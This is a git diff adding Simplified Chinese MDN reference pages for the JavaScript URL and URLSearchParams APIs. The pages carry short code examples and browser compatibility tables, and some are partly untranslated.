语法

+ +
const url = new URL(url [, base])
+
+ +

参数

+ +
+
url
+
是一个表示绝对或相对 URL 的 {{domxref("DOMString")}}。如果url 是相对 URL,则会将 base 用作基准 URL。如果 url 是绝对URL,则无论参数url是否存在,都将被忽略。
+
base {{optional_inline}}
+
是一个表示基准 URL 的 {{domxref("DOMString")}},在 url 是相对 URL 时,它才会起效。如果未指定,则默认为 ''
+
+ +

异常

+ + + + + + + + + + + + + + +
异常解释
{{jsxref("TypeError")}}url若为绝对 URL)或 base + url(若为相对 URL)是一个无效的 URL 链接。
+ +

示例

+ +
let m = 'https://developer.mozilla.org';
+let a = new URL("/", m);                                // => 'https://developer.mozilla.org/'
+let b = new URL(m);                                     // => 'https://developer.mozilla.org/'
+
+        new URL('en-US/docs', b);                      // => 'https://developer.mozilla.org/en-US/docs'
+let d = new URL('/en-US/docs', b);                     // => 'https://developer.mozilla.org/en-US/docs'
+        new URL('/en-US/docs', d);                     // => 'https://developer.mozilla.org/en-US/docs'
+        new URL('/en-US/docs', a);                     // => 'https://developer.mozilla.org/en-US/docs'
+
+        new URL('/en-US/docs', "https://developer.mozilla.org/fr-FR/toto");
+                                                       // => 'https://developer.mozilla.org/en-US/docs'
+
+        new URL('/en-US/docs', '');                    // Raises a TypeError exception as '' is not a valid URL
+        new URL('/en-US/docs');                        // Raises a TypeError exception as '/en-US/docs' is not a valid URL
+        new URL('http://www.example.com', );           // => 'http://www.example.com/'
+        new URL('http://www.example.com', b);          // => 'http://www.example.com/'
+
+        new URL("//foo.com", "https://example.com")    // => 'https://foo.com' (see relative URLs)
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('URL', '#constructors', 'URL.URL()')}}{{Spec2('URL')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.URL.URL")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/url/username/index.html b/files/zh-cn/web/api/url/username/index.html new file mode 100644 index 0000000000..9e49a28dce --- /dev/null +++ b/files/zh-cn/web/api/url/username/index.html @@ -0,0 +1,61 @@ +--- +title: URL.username +slug: Web/API/URL/username +tags: + - API + - Property + - Reference + - URL + - username +translation_of: Web/API/URL/username +--- +
{{ApiRef("URL API")}}
+ +

 {{domxref("URL")}}接口的username属性是{{domxref("USVString")}} ,其中包含域名前指定的username 。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
string = object.username;
+object.username = string;
+
+ +

+ +

一个 {{domxref("USVString")}}.

+ +

例子

+ +
var url = new URL("https://anonymous:flabada@developer.mozilla.org/en-US/docs/Web/API/URL/username");
+var user = url.username; // 返回:“anonymous”
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName('URL', '#dom-url-username', 'username')}}{{Spec2('URL')}}初步定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.URL.username")}}

+ +

参考

+ + diff --git "a/files/zh-cn/web/api/url/\345\257\206\347\240\201/index.html" "b/files/zh-cn/web/api/url/\345\257\206\347\240\201/index.html" new file mode 100644 index 0000000000..1592676a9d --- /dev/null +++ "b/files/zh-cn/web/api/url/\345\257\206\347\240\201/index.html" @@ -0,0 +1,57 @@ +--- +title: URL.密码 +slug: Web/API/URL/密码 +translation_of: Web/API/URL/password +--- +
{{ApiRef("URL API")}}
+ +

 {{domxref("URL")}}接口的password属性为{{domxref("USVString")}},其中包含在域名之前指定的密码。

+ +

如果在未设置username属性的情况下进行调用,默认失败。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
string = object.password;
+object.password = string;
+
+ +

+ +

A {{domxref("USVString")}}.

+ +

Examples

+ +
var url = new URL('https://anonymous:flabada@developer.mozilla.org/en-US/docs/Web/API/URL/password');
+var result = url.password; // Returns:"flabada"
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-password', 'URL.password')}}{{Spec2('URL')}}Initial definition.
+ +

浏览器兼容

+ + + +

{{Compat("api.URL.password")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/url_api/index.html b/files/zh-cn/web/api/url_api/index.html new file mode 100644 index 0000000000..cecc627edd --- /dev/null +++ b/files/zh-cn/web/api/url_api/index.html @@ -0,0 +1,123 @@ +--- +title: URL API +slug: Web/API/URL_API +translation_of: Web/API/URL_API +--- +

{{DefaultAPISidebar("URL API")}}

+ +

URL API是一个URL标准的组件,它定义了有效的{{Glossary("URL", "Uniform Resource Locator")}}和访问、操作URL的API。URL标准还定义了像域名、主机和IP地址等概念,并尝试以标准的方式去描述用于以键/值对的形式提交web表单内容的遗留application/x-www-form-urlencoded {{Glossary("MIME type")}} 。

+ +

URL的概念和用法

+ +

URL标准的主要内容是由URL的定义以及它的结构和解析方式决定的。还介绍了与网络上计算机寻址有关的各种术语的定义,并指定了解析IP地址和DOM地址的算法。大多数开发人员更感兴趣的是API本身。

+ +

使用URL组件

+ +

给指定的URL创建一个 {{domxref("URL")}} 对象将解析URL并通过其属性对其组成部分的快速访问。

+ +
let addr = new URL("https://developer.mozilla.org/en-US/docs/Web/API/URL_API");
+let host = addr.host;
+let path = addr.pathname;
+
+ +

上面的代码片段为您正在阅读的文章创建一个URL对象,然后获取 {{domxref("URL.host", "host")}} 和 {{domxref("URL.pathname", "pathname")}} 属性。在本例中,这些字符串的值分别是developer.mozilla.org 和/en-US/docs/Web/API/URL_API

+ +

修改URL

+ +

URL对象的大部分属性都是可设置的;您可以向它们写入新值来更改对象所表示的URL。例如,要创建一个URL对象并设置它的用户名:

+ +
let myUsername = "someguy";
+let addr = new URL("https://mysite.com/login");
+addr.username = myUsername;
+
+ +

设置 {{domxref("URL.username", "username")}} 值不仅是设置该属性的值,而且更新整个URL。执行上面的代码片段后, {{domxref("URL.href", "addr.href")}} 的返回值是https://someguy@mysite.com/login。对于任何可写属性都是如此。

+ +

查询

+ +

 {{domxref("URL.search", "search")}} 属性在URL上包含URL的查询字符串部分。例如,如果URL是https://mysite.com/login?user=someguy&page=news,那么search 属性的值是?user=someguy&page=news。您还可以使用 {{domxref("URLSearchParams")}} 对象的 {{domxref("URLSearchParams.get", "get()")}} 查找单个参数的值:

+ +
let addr = new URL("https://mysite.com/login?user=someguy&page=news");
+try {
+  loginUser(addr.searchParams.get("user"));
+  gotoPage(addr.searchParams.get("page"));
+} catch(err) {
+  showErrorMessage(err);
+}
+ +

例如,在上面的代码片段中,从查询中提取用户名和目标页面,并将其传递给适当的函数,站点代码使用这些函数登录并将用户路由到站点的目的页面。

+ +

URLSearchParams中的其他函数允许修改改、添加和删除键和值,甚至对参数列表进行排序。

+ +

URL API 接口

+ +

URL API是一个简单的API,它的名字只有几个接口:

+ +
+ +
+ +

该规范的旧版本包括一个名为{{domxref("URLUtilsReadOnly")}}的接口,该接口已经合并到{{domxref("WorkerLocation")}} 接口中。

+ +

例子

+ +

如果希望处理URL中包含的参数,可以手动进行处理,但是创建一个URL对象更容易。下面的fillTableWithParameters()函数接受一个表示{{HTMLElement("table")}}的   {{domxref("HTMLTableElement")}} 对象作为输入。将行添加到表中,每个行对应参数中找到的键,第一列包含键,第二列包含值。

+ +

注意,在生成表之前调用  {{domxref("URLSearchParams.sort()")}} 对参数列表进行排序。

+ +
function fillTableWithParameters(tbl) {
+  let url = new URL(document.location.href);
+  url.searchParams.sort();
+  let keys = url.searchParams.keys();
+
+  for (let key of keys) {
+    let val = url.searchParams.get(key);
+    let row = document.createElement("tr");
+    let cell = document.createElement("td");
+    cell.innerText = key;
+    row.appendChild(cell);
+    cell = document.createElement("td");
+    cell.innerText = val;
+    row.appendChild(cell);
+    tbl.appendChild(row);
+  };
+}
+ +

在 found on Glitch上可以找到这个例子的工作版本。只要在加载页面时向URL添加参数,就可以在表中看到它们。例如,试试https://url-api.glitch.me?from=mdn&excitement=high&likelihood=inconceivable

+ +

规范

+ + + + + + + + + + + + + + +
规范状态描述
{{SpecName('URL')}}{{Spec2('URL')}}WHATWG 规范
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.URL")}}

+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/urlsearchparams/append/index.html b/files/zh-cn/web/api/urlsearchparams/append/index.html new file mode 100644 index 0000000000..620c3ee5f3 --- /dev/null +++ b/files/zh-cn/web/api/urlsearchparams/append/index.html @@ -0,0 +1,114 @@ +--- +title: URLSearchParams.append() +slug: Web/API/URLSearchParams/append +translation_of: Web/API/URLSearchParams/append +--- +

{{ApiRef("URL API")}}{{SeeCompatTable}} 

+ +

append() 是 {{domxref("URLSearchParams")}} 接口的一个方法。可以插入一个新搜索参数。

+ +

语法

+ +
URLSearchParams.append(name, value)
+ +

参数

+ +
+
name
+
需要插入搜索参数的键名。
+
value 
+
需要插入搜索参数的值。
+
+ +

返回

+ +

+ +

例子

+ +
let url = new URL('https://example.com?foo=1&bar=2');
+let params = new URLSearchParams(url.search.slice(1));
+
+//添加第二个foo搜索参数。
+params.append('foo', 4);
+//查询字符串变成: 'foo=1&bar=2&foo=4'
+ +

说明

+ + + + + + + + + + + + + + + + +
说明现状说明
{{SpecName('URL', '#dom-urlsearchparams-append', "append()")}}{{Spec2('URL')}}初始定义
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本支持{{CompatChrome(49.0)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
基本支持{{CompatNo}}{{CompatChrome(49.0)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatChrome(49.0)}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/urlsearchparams/delete/index.html b/files/zh-cn/web/api/urlsearchparams/delete/index.html new file mode 100644 index 0000000000..b6927e3e22 --- /dev/null +++ b/files/zh-cn/web/api/urlsearchparams/delete/index.html @@ -0,0 +1,96 @@ +--- +title: URLSearchParams.delete() +slug: Web/API/URLSearchParams/delete +translation_of: Web/API/URLSearchParams/delete +--- +

{{ApiRef("URL API")}}{{SeeCompatTable}} 

+ +

delete() 是 {{domxref("URLSearchParams")}} 接口的一个方法。可以删除指定名称的所有搜索参数。

+ +

语法

+ +
URLSearchParams.delete(name)
+ +

参数

+ +
+
name
+
需要删除的键值名称
+
+ +

返回

+ +

+ +

说明

+ + + + + + + + + + + + + + + + +
说明状态说明
{{SpecName('URL', '#dom-urlsearchparams-delete', "delete()")}}{{Spec2('URL')}}初始定义
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本支持{{CompatChrome(49.0)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
基本支持{{CompatNo}}{{CompatChrome(49.0)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatChrome(49.0)}}
+
diff --git a/files/zh-cn/web/api/urlsearchparams/entries/index.html b/files/zh-cn/web/api/urlsearchparams/entries/index.html new file mode 100644 index 0000000000..23e87b1b59 --- /dev/null +++ b/files/zh-cn/web/api/urlsearchparams/entries/index.html @@ -0,0 +1,57 @@ +--- +title: URLSearchParams.entries() +slug: Web/API/URLSearchParams/entries +tags: + - API + - Experimental + - Method + - Reference + - URL API + - URLSearchParams +translation_of: Web/API/URLSearchParams/entries +--- +

{{APIRef("URL API")}}{{SeeCompatTable}}

+ +

URLSearchParams.entries()方法返回一个{{jsxref("Iteration_protocols",'iterator')}},允许遍历该对象中包含的所有键/值对。每一组键值对都是 {{domxref("USVString")}}对象

+ +
+

注意: 该方法在 Web Workers也是可用的.

+
+ +

语法

+ +
searchParams.entries();
+ +

返回值

+ +

返回一个 {{jsxref("Iteration_protocols","iterator")}}.

+ +

例子

+ +
// 创建一个测试用 URLSearchParams 对象
+var searchParams = new URLSearchParams("key1=value1&key2=value2");
+
+// 显示键/值对
+for(var pair of searchParams.entries()) {
+   console.log(pair[0]+ ', '+ pair[1]);
+}
+
+ +

结果如下:

+ +
key1, value1
+key2, value2
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.URLSearchParams.entries")}}

+
+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/urlsearchparams/foreach/index.html b/files/zh-cn/web/api/urlsearchparams/foreach/index.html new file mode 100644 index 0000000000..7ce04858eb --- /dev/null +++ b/files/zh-cn/web/api/urlsearchparams/foreach/index.html @@ -0,0 +1,87 @@ +--- +title: URLSearchParams.forEach() +slug: Web/API/URLSearchParams/forEach +translation_of: Web/API/URLSearchParams/forEach +--- +
{{APIRef("URL API")}}
+ +
+ +

   URLSearchParams的实例对象上的方法forEach允许通过回调函数来遍历URLSearchParams实例对象上的键值对

+ +

{{availableinworkers}}

+ +

语法

+ +
searchParams.forEach(callback(value,key,searchParams));
+ +

参数

+ +
+
回调函数
+
    该回调函数可以接收到3个参数value,key,searchParams,我们可以在回调函数中对接收到的参数进行处理。而三个参数的含义如下:
+
    1.  value
+
     当前遍历到的键值
+
    2.  key
+
     当前遍历到的键名
+
    3.  searchParams
+
     当前调用forEach方法的实例对象
+
+ +

返回值

+ +

    空

+ +

例子

+ +
// 创建URLSearchParams对象的实例对象,用于测试
+var searchParams = new URLSearchParams("key1=value1&key2=value2");
+
+let returnValue = searchParams.forEach(function(value, key,searchParams) {
+     // 打印值
+     console.log(value, key,searchParams);
+});
+
+// 输出返回值
+console.log(returnValue)
+
+ +

结果是:

+ +
value1 key1 当前调用forEach方法的实例对象(也就是searchParams)
+value2 key2 当前调用forEach方法的实例对象(也就是searchParams)
+undefined  // 即没有返回值
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#interface-urlsearchparams', "forEach() (see \"iterable\")")}}{{Spec2('URL')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.URLSearchParams.forEach")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/urlsearchparams/get/index.html b/files/zh-cn/web/api/urlsearchparams/get/index.html new file mode 100644 index 0000000000..232b200c83 --- /dev/null +++ b/files/zh-cn/web/api/urlsearchparams/get/index.html @@ -0,0 +1,63 @@ +--- +title: URLSearchParams.get() +slug: Web/API/URLSearchParams/get +translation_of: Web/API/URLSearchParams/get +--- +

{{ApiRef("URL API")}}{{SeeCompatTable}} 

+ +

{{domxref("URLSearchParams")}} 接口的get()方法返回第一个与搜索参数对应的值

+ +

语法

+ +
URLSearchParams.get(name)
+ +

参数

+ +
+
键名
+
将要返回的参数的键名。
+
+ +

返回值

+ +

返回一个 {{domxref("USVString")}} ;如果没找到,返回 null.

+ +

示例

+ +

如果一个页面的URL是 https://example.com/?name=Jonathan&age=18 ,你可以这样解析参数“name”和“age”:

+ +
let params = new URLSearchParams(document.location.search.substring(1));
+let name = params.get("name"); // is the string "Jonathan"
+let age = parseInt(params.get("age"), 10); // is the number 18
+
+ +

查找一个不存在的键名则返回 null:

+ +
let address = params.get("address"); // null
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态说明
{{SpecName('URL', '#dom-urlsearchparams-get', "get()")}}{{Spec2('URL')}}Initial definition.
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.URLSearchParams.get")}}

+
diff --git a/files/zh-cn/web/api/urlsearchparams/getall/index.html b/files/zh-cn/web/api/urlsearchparams/getall/index.html new file mode 100644 index 0000000000..5fa3efdce2 --- /dev/null +++ b/files/zh-cn/web/api/urlsearchparams/getall/index.html @@ -0,0 +1,68 @@ +--- +title: URLSearchParams.getAll() +slug: Web/API/URLSearchParams/getAll +tags: + - API + - Experimental + - Method + - URL API + - URLSearchParams + - getAll +translation_of: Web/API/URLSearchParams/getAll +--- +

{{ApiRef("URL API")}}{{SeeCompatTable}} 

+ +

{{domxref("URLSearchParams")}}接口的getAll()方法,以数组的形式返回与指定搜索参数对应的所有值。

+ +

语法

+ +
URLSearchParams.getAll(name)
+ +

参数

+ +
+
name
+
要返回的参数的名称。
+
+ +

返回值

+ +

一个{{domxref("USVString")}}数组。

+ +

例子

+ +
let url = new URL('https://example.com?foo=1&bar=2');
+let params = new URLSearchParams(url.search.slice(1));
+
+//为foo参数添加第二个值
+params.append('foo', 4);
+
+console.log(params.getAll('foo')) //输出 ["1","4"].
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态说明
{{SpecName('URL', '#dom-urlsearchparams-getall', "getAll()")}}{{Spec2('URL')}}初始定义
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.URLSearchParams.getAll")}}

+
diff --git a/files/zh-cn/web/api/urlsearchparams/has/index.html b/files/zh-cn/web/api/urlsearchparams/has/index.html new file mode 100644 index 0000000000..a4308386f1 --- /dev/null +++ b/files/zh-cn/web/api/urlsearchparams/has/index.html @@ -0,0 +1,58 @@ +--- +title: URLSearchParams.has() +slug: Web/API/URLSearchParams/has +translation_of: Web/API/URLSearchParams/has +--- +

{{ApiRef("URL API")}}{{SeeCompatTable}} 

+ +

{{domxref("URLSearchParams")}} 的has() 方法返回一个 {{jsxref("Boolean")}} 表示一个指定的键名对应的值是否存在。

+ +

语法

+ +
var hasName = URLSearchParams.has(name)
+ +

参数

+ +
+
键名
+
要查找的参数的键名。
+
+ +

返回值

+ +

一个 {{jsxref("Boolean")}}.

+ +

示例

+ +
let url = new URL('https://example.com?foo=1&bar=2');
+let params = new URLSearchParams(url.search.slice(1));
+
+params.has('bar') === true; //true
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态说明
{{SpecName('URL', '#dom-urlsearchparams-has', "has()")}}{{Spec2('URL')}}Initial definition.
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.URLSearchParams.has")}}

+
diff --git a/files/zh-cn/web/api/urlsearchparams/index.html b/files/zh-cn/web/api/urlsearchparams/index.html new file mode 100644 index 0000000000..0c21454e54 --- /dev/null +++ b/files/zh-cn/web/api/urlsearchparams/index.html @@ -0,0 +1,125 @@ +--- +title: URLSearchParams +slug: Web/API/URLSearchParams +tags: + - URL API + - URLSearchParams +translation_of: Web/API/URLSearchParams +--- +

{{ApiRef("URL API")}}

+ +

URLSearchParams 接口定义了一些实用的方法来处理 URL 的查询字符串。

+ +

一个实现了 URLSearchParams 的对象可以直接用在 {{jsxref("Statements/for...of", "for...of")}} 结构中,例如下面两行是相等的:

+ +
for (const [key, value] of mySearchParams) {}
+for (const [key, value] of mySearchParams.entries()) {}
+ +

{{availableinworkers}}

+ +

构造函数

+ +
+
{{domxref("URLSearchParams.URLSearchParams", 'URLSearchParams()')}}
+
返回一个 URLSearchParams 对象。
+
+ +

方法

+ +

该接口不继承任何属性。

+ +
+
{{domxref("URLSearchParams.append()")}}
+
 插入一个指定的键/值对作为新的搜索参数。
+
{{domxref("URLSearchParams.delete()")}}
+
 从搜索参数列表里删除指定的搜索参数及其对应的值。
+
{{domxref("URLSearchParams.entries()")}}
+
 返回一个{{jsxref("Iteration_protocols","iterator")}}可以遍历所有键/值对的对象。
+
{{domxref("URLSearchParams.get()")}}
+
 获取指定搜索参数的第一个值。
+
{{domxref("URLSearchParams.getAll()")}}
+
 获取指定搜索参数的所有值,返回是一个数组。
+
{{domxref("URLSearchParams.has()")}}
+
 返回 {{jsxref("Boolean")}} 判断是否存在此搜索参数。
+
{{domxref("URLSearchParams.keys()")}}
+
返回{{jsxref("Iteration_protocols", "iterator")}} 此对象包含了键/值对的所有键名。
+
{{domxref("URLSearchParams.set()")}}
+
 设置一个搜索参数的新值,假如原来有多个值将删除其他所有的值。
+
{{domxref("URLSearchParams.sort()")}}
+
 按键名排序。
+
{{domxref("URLSearchParams.toString()")}}
+
 返回搜索参数组成的字符串,可直接使用在URL上。
+
{{domxref("URLSearchParams.values()")}}
+
 返回{{jsxref("Iteration_protocols", "iterator")}} 此对象包含了键/值对的所有值。
+
+ +

示例

+ +
var paramsString = "q=URLUtils.searchParams&topic=api"
+var searchParams = new URLSearchParams(paramsString);
+
+for (let p of searchParams) {
+  console.log(p);
+}
+
+searchParams.has("topic") === true; // true
+searchParams.get("topic") === "api"; // true
+searchParams.getAll("topic"); // ["api"]
+searchParams.get("foo") === null; // true
+searchParams.append("topic", "webdev");
+searchParams.toString(); // "q=URLUtils.searchParams&topic=api&topic=webdev"
+searchParams.set("topic", "More webdev");
+searchParams.toString(); // "q=URLUtils.searchParams&topic=More+webdev"
+searchParams.delete("topic");
+searchParams.toString(); // "q=URLUtils.searchParams"
+ +

Gotchas

+ +

URLSearchParams 构造函数不会解析完整 URL,但是如果字符串起始位置有 ? 的话会被去除。

+ +
var paramsString1 = "http://example.com/search?query=%40";
+var searchParams1 = new URLSearchParams(paramsString1);
+
+searchParams1.has("query"); // false
+searchParams1.has("http://example.com/search?query"); // true
+
+searchParams1.get("query"); // null
+searchParams1.get("http://example.com/search?query"); // "@" (equivalent to decodeURIComponent('%40'))
+
+var paramsString2 = "?query=value";
+var searchParams2 = new URLSearchParams(paramsString2);
+searchParams2.has("query"); // true
+
+var url = new URL("http://example.com/search?query=%40");
+var searchParams3 = new URLSearchParams(url.search);
+searchParams3.has("query") // true
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#urlsearchparams', "URLSearchParams")}}{{Spec2('URL')}}初次定义
+ +

浏览器兼容性

+ +

{{Compat("api.URLSearchParams")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/urlsearchparams/keys/index.html b/files/zh-cn/web/api/urlsearchparams/keys/index.html new file mode 100644 index 0000000000..2ff71529b3 --- /dev/null +++ b/files/zh-cn/web/api/urlsearchparams/keys/index.html @@ -0,0 +1,57 @@ +--- +title: URLSearchParams.keys() +slug: Web/API/URLSearchParams/keys +tags: + - API + - Experimental + - Method + - Reference + - URL API + - URLSearchParams +translation_of: Web/API/URLSearchParams/keys +--- +

{{APIRef("URL API")}}{{SeeCompatTable}}

+ +

URLSearchParams.keys()返回一个{{jsxref("Iteration_protocols",'iterator')}},遍历器允许遍历对象中包含的所有键。这些键都是{{domxref("USVString")}}对象。

+ +
+

注意: 该方法在 Web Workers中也可使用

+
+ +

语法

+ +
searchParams.keys();
+ +

返回值

+ +

返回一个{{jsxref("Iteration_protocols","iterator")}}.

+ +

例子

+ +
// 建立一个测试用URLSearchParams对象
+var searchParams = new URLSearchParams("key1=value1&key2=value2");
+
+// 输出键值对
+for(var key of searchParams.keys()) {
+  console.log(key);
+}
+
+ +

结果如下:

+ +
key1
+key2
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.URLSearchParams.keys")}}

+
+ +

另请参考

+ + diff --git a/files/zh-cn/web/api/urlsearchparams/set/index.html b/files/zh-cn/web/api/urlsearchparams/set/index.html new file mode 100644 index 0000000000..6790f615e7 --- /dev/null +++ b/files/zh-cn/web/api/urlsearchparams/set/index.html @@ -0,0 +1,107 @@ +--- +title: URLSearchParams.set() +slug: Web/API/URLSearchParams/set +translation_of: Web/API/URLSearchParams/set +--- +

{{ApiRef("URL API")}}{{SeeCompatTable}} 

+ +

{{domxref("URLSearchParams")}}接口的set()方法用于设置和搜索参数相关联的值。如果设置前已经存在匹配的值,该方法会删除多余的,如果将要设置的值不存在,则创建它

+ +

语法

+ +
URLSearchParams.set(name, value)
+ +

参数

+ +
+
键名
+
将要设置的参数的健值名。
+
参数值
+
所要设置的参数值。
+
+ +

返回值

+ +

Void

+ +

例子

+ +
let url = new URL('https://example.com?foo=1&bar=2');
+let params = new URLSearchParams(url.search.slice(1));
+
+//Add a third parameter.
+params.set('baz', 3);
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-urlsearchparams-set', "set()")}}{{Spec2('URL')}}Initial definition.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(49.0)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(49.0)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatChrome(49.0)}}
+
diff --git a/files/zh-cn/web/api/urlsearchparams/sort/index.html b/files/zh-cn/web/api/urlsearchparams/sort/index.html new file mode 100644 index 0000000000..abe8fecd01 --- /dev/null +++ b/files/zh-cn/web/api/urlsearchparams/sort/index.html @@ -0,0 +1,105 @@ +--- +title: URLSearchParams.sort() +slug: Web/API/URLSearchParams/sort +translation_of: Web/API/URLSearchParams/sort +--- +

{{APIRef("URL API")}}{{SeeCompatTable}}

+ +

URLSearchParams.sort() 方法对包含在此对象中的所有键/值对进行排序,并返回undefined。排序顺序是根据键的Unicode代码点。该方法使用稳定的排序算法 (即,将保留具有相等键的键/值对之间的相对顺序)。

+ +

Syntax

+ +
searchParams.sort();
+ +

Return value

+ +

Returns undefined.

+ +

Example

+ +
// Create a test URLSearchParams object
+var searchParams = new URLSearchParams("c=4&a=2&b=3&a=1");
+
+// Sort the key/value pairs
+searchParams.sort();
+
+// Display the sorted query string
+console.log(searchParams.toString());
+
+ +

The result is:

+ +
a=2&a=1&b=3&c=4
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#urlsearchparams','sort() (as iterator<>)')}}{{Spec2('URL')}}Initial definition
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OS (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
diff --git a/files/zh-cn/web/api/urlsearchparams/tostring/index.html b/files/zh-cn/web/api/urlsearchparams/tostring/index.html new file mode 100644 index 0000000000..6efd11d077 --- /dev/null +++ b/files/zh-cn/web/api/urlsearchparams/tostring/index.html @@ -0,0 +1,106 @@ +--- +title: URLSearchParams.toString() +slug: Web/API/URLSearchParams/toString +translation_of: Web/API/URLSearchParams/toString +--- +

{{ApiRef("URL API")}}{{SeeCompatTable}} 

+ +

{{domxref("URLSearchParams")}} 接口的toString()方法 返回适用在URL中的查询字符串。

+ +

语法

+ +
URLSearchParams.toString()
+ +

返回值

+ +

字符串

+ +

实例

+ +
let url = new URL('https://example.com?foo=1&bar=2');
+let params = new URLSearchParams(url.search.slice(1));
+
+//Add a second foo parameter.
+params.append('foo', 4);
+console.log(params.toString());
+//Prints 'foo=1&bar=2&foo=4'.
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#urlsearchparams-stringification-behavior', "toString()")}}{{Spec2('URL')}}Initial definition. Appears in the IDL as stringifier.
+ +

浏览器兼容

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(49.0)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(49.0)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatChrome(49.0)}}
+
+ +

参考

+ + diff --git a/files/zh-cn/web/api/urlsearchparams/urlsearchparams/index.html b/files/zh-cn/web/api/urlsearchparams/urlsearchparams/index.html new file mode 100644 index 0000000000..7d4c0b206b --- /dev/null +++ b/files/zh-cn/web/api/urlsearchparams/urlsearchparams/index.html @@ -0,0 +1,133 @@ +--- +title: URLSearchParams() +slug: Web/API/URLSearchParams/URLSearchParams +translation_of: Web/API/URLSearchParams/URLSearchParams +--- +

{{ApiRef("URL API")}}{{SeeCompatTable}}

+ +

URLSearchParams() 构造器创建并返回一个新的{{domxref("URLSearchParams")}} 对象。 开头的'?' 字符会被忽略。

+ +

语法

+ +
var URLSearchParams = new URLSearchParams(init);
+ +

参数

+ +
+
init {{optional_inline}}
+
一个 {{domxref("USVString")}} 实例,一个 {{domxref("URLSearchParams")}} 实例,一个 {{domxref("USVString")}},或者一个包含 {{domxref("USVString")}} 的记录。注意使用一个 URLSearchParams 实例作为参数已经被弃用了,以后的浏览器将会只使用一个 USVString 作为参数。
+
+ +

返回值

+ +

一个 {{domxref("URLSearchParams")}} 实例。

+ +

例子

+ +

下面的例子展示了用一个URL字符串创建一个 {{domxref("URLSearchParams")}} 对象。

+ +
// Pass in a string literal
+var url = new URL('https://example.com?foo=1&bar=2');
+// Retrieve from window.location
+var url2 = new URL(window.location);
+
